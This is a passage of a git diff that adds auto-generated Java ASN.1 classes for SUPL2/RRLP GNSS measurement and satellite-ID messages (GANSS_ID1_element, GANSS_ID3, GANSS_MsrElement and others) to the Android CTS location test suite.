+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSS_ID1_element extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSS_ID1_element
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSS_ID1_element() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSS_ID1_element;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSS_ID1_element != null) {
+ return ImmutableList.of(TAG_GANSS_ID1_element);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSS_ID1_element from encoded stream.
+ */
+ public static GANSS_ID1_element fromPerUnaligned(byte[] encodedBytes) {
+ GANSS_ID1_element result = new GANSS_ID1_element();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSS_ID1_element from encoded stream.
+ */
+ public static GANSS_ID1_element fromPerAligned(byte[] encodedBytes) {
+ GANSS_ID1_element result = new GANSS_ID1_element();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private GANSSSignals signalsAvailable_;
+ public GANSSSignals getSignalsAvailable() {
+ return signalsAvailable_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignals
+ */
+ public void setSignalsAvailable(Asn1Object value) {
+ this.signalsAvailable_ = (GANSSSignals) value;
+ }
+ public GANSSSignals setSignalsAvailableToNewInstance() {
+ signalsAvailable_ = new GANSSSignals();
+ return signalsAvailable_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSignalsAvailable() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSignalsAvailable();
+ }
+
+ @Override public void setToNewInstance() {
+ setSignalsAvailableToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignals.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "signalsAvailable : "
+ + getSignalsAvailable().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSS_ID1_element = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3.java
new file mode 100755
index 0000000..cdd19f7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSS_ID3
+ extends Asn1SequenceOf<GANSS_ID3_element> {
+ //
+
+ private static final Asn1Tag TAG_GANSS_ID3
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSS_ID3() {
+ super();
+ setMinSize(1);
+setMaxSize(64);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSS_ID3;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSS_ID3 != null) {
+ return ImmutableList.of(TAG_GANSS_ID3);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSS_ID3 from encoded stream.
+ */
+ public static GANSS_ID3 fromPerUnaligned(byte[] encodedBytes) {
+ GANSS_ID3 result = new GANSS_ID3();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSS_ID3 from encoded stream.
+ */
+ public static GANSS_ID3 fromPerAligned(byte[] encodedBytes) {
+ GANSS_ID3 result = new GANSS_ID3();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSS_ID3_element createAndAddValue() {
+ GANSS_ID3_element value = new GANSS_ID3_element();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSS_ID3 = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSS_ID3_element value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3_element.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3_element.java
new file mode 100755
index 0000000..19b701b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3_element.java
@@ -0,0 +1,426 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSS_ID3_element extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSS_ID3_element
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSS_ID3_element() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSS_ID3_element;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSS_ID3_element != null) {
+ return ImmutableList.of(TAG_GANSS_ID3_element);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSS_ID3_element from encoded stream.
+ */
+ public static GANSS_ID3_element fromPerUnaligned(byte[] encodedBytes) {
+ GANSS_ID3_element result = new GANSS_ID3_element();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSS_ID3_element from encoded stream.
+ */
+ public static GANSS_ID3_element fromPerAligned(byte[] encodedBytes) {
+ GANSS_ID3_element result = new GANSS_ID3_element();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private GANSSSignals signalsAvailable_;
+ public GANSSSignals getSignalsAvailable() {
+ return signalsAvailable_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignals
+ */
+ public void setSignalsAvailable(Asn1Object value) {
+ this.signalsAvailable_ = (GANSSSignals) value;
+ }
+ public GANSSSignals setSignalsAvailableToNewInstance() {
+ signalsAvailable_ = new GANSSSignals();
+ return signalsAvailable_;
+ }
+
+ private GANSS_ID3_element.channelNumberType channelNumber_;
+ public GANSS_ID3_element.channelNumberType getChannelNumber() {
+ return channelNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_ID3_element.channelNumberType
+ */
+ public void setChannelNumber(Asn1Object value) {
+ this.channelNumber_ = (GANSS_ID3_element.channelNumberType) value;
+ }
+ public GANSS_ID3_element.channelNumberType setChannelNumberToNewInstance() {
+ channelNumber_ = new GANSS_ID3_element.channelNumberType();
+ return channelNumber_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSignalsAvailable() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSignalsAvailable();
+ }
+
+ @Override public void setToNewInstance() {
+ setSignalsAvailableToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignals.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "signalsAvailable : "
+ + getSignalsAvailable().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getChannelNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getChannelNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setChannelNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_ID3_element.channelNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "channelNumber : "
+ + getChannelNumber().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class channelNumberType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_channelNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public channelNumberType() {
+ super();
+ setValueRange("-7", "13");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_channelNumberType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_channelNumberType != null) {
+ return ImmutableList.of(TAG_channelNumberType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new channelNumberType from encoded stream.
+ */
+ public static channelNumberType fromPerUnaligned(byte[] encodedBytes) {
+ channelNumberType result = new channelNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new channelNumberType from encoded stream.
+ */
+ public static channelNumberType fromPerAligned(byte[] encodedBytes) {
+ channelNumberType result = new channelNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "channelNumberType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSS_ID3_element = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrElement.java
new file mode 100755
index 0000000..9741d87
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrElement.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSS_MsrElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSS_MsrElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSS_MsrElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSS_MsrElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSS_MsrElement != null) {
+ return ImmutableList.of(TAG_GANSS_MsrElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSS_MsrElement from encoded stream.
+ */
+ public static GANSS_MsrElement fromPerUnaligned(byte[] encodedBytes) {
+ GANSS_MsrElement result = new GANSS_MsrElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSS_MsrElement from encoded stream.
+ */
+ public static GANSS_MsrElement fromPerAligned(byte[] encodedBytes) {
+ GANSS_MsrElement result = new GANSS_MsrElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSS_MsrElement.ganssIDType ganssID_;
+ public GANSS_MsrElement.ganssIDType getGanssID() {
+ return ganssID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_MsrElement.ganssIDType
+ */
+ public void setGanssID(Asn1Object value) {
+ this.ganssID_ = (GANSS_MsrElement.ganssIDType) value;
+ }
+ public GANSS_MsrElement.ganssIDType setGanssIDToNewInstance() {
+ ganssID_ = new GANSS_MsrElement.ganssIDType();
+ return ganssID_;
+ }
+
+ private SeqOfGANSS_SgnTypeElement ganss_SgnTypeList_;
+ public SeqOfGANSS_SgnTypeElement getGanss_SgnTypeList() {
+ return ganss_SgnTypeList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGANSS_SgnTypeElement
+ */
+ public void setGanss_SgnTypeList(Asn1Object value) {
+ this.ganss_SgnTypeList_ = (SeqOfGANSS_SgnTypeElement) value;
+ }
+ public SeqOfGANSS_SgnTypeElement setGanss_SgnTypeListToNewInstance() {
+ ganss_SgnTypeList_ = new SeqOfGANSS_SgnTypeElement();
+ return ganss_SgnTypeList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_MsrElement.ganssIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssID : "
+ + getGanssID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanss_SgnTypeList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanss_SgnTypeList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanss_SgnTypeListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGANSS_SgnTypeElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganss_SgnTypeList : "
+ + getGanss_SgnTypeList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssIDType != null) {
+ return ImmutableList.of(TAG_ganssIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssIDType from encoded stream.
+ */
+ public static ganssIDType fromPerUnaligned(byte[] encodedBytes) {
+ ganssIDType result = new ganssIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssIDType from encoded stream.
+ */
+ public static ganssIDType fromPerAligned(byte[] encodedBytes) {
+ ganssIDType result = new ganssIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSS_MsrElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrSetElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrSetElement.java
new file mode 100755
index 0000000..11fed34
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrSetElement.java
@@ -0,0 +1,546 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
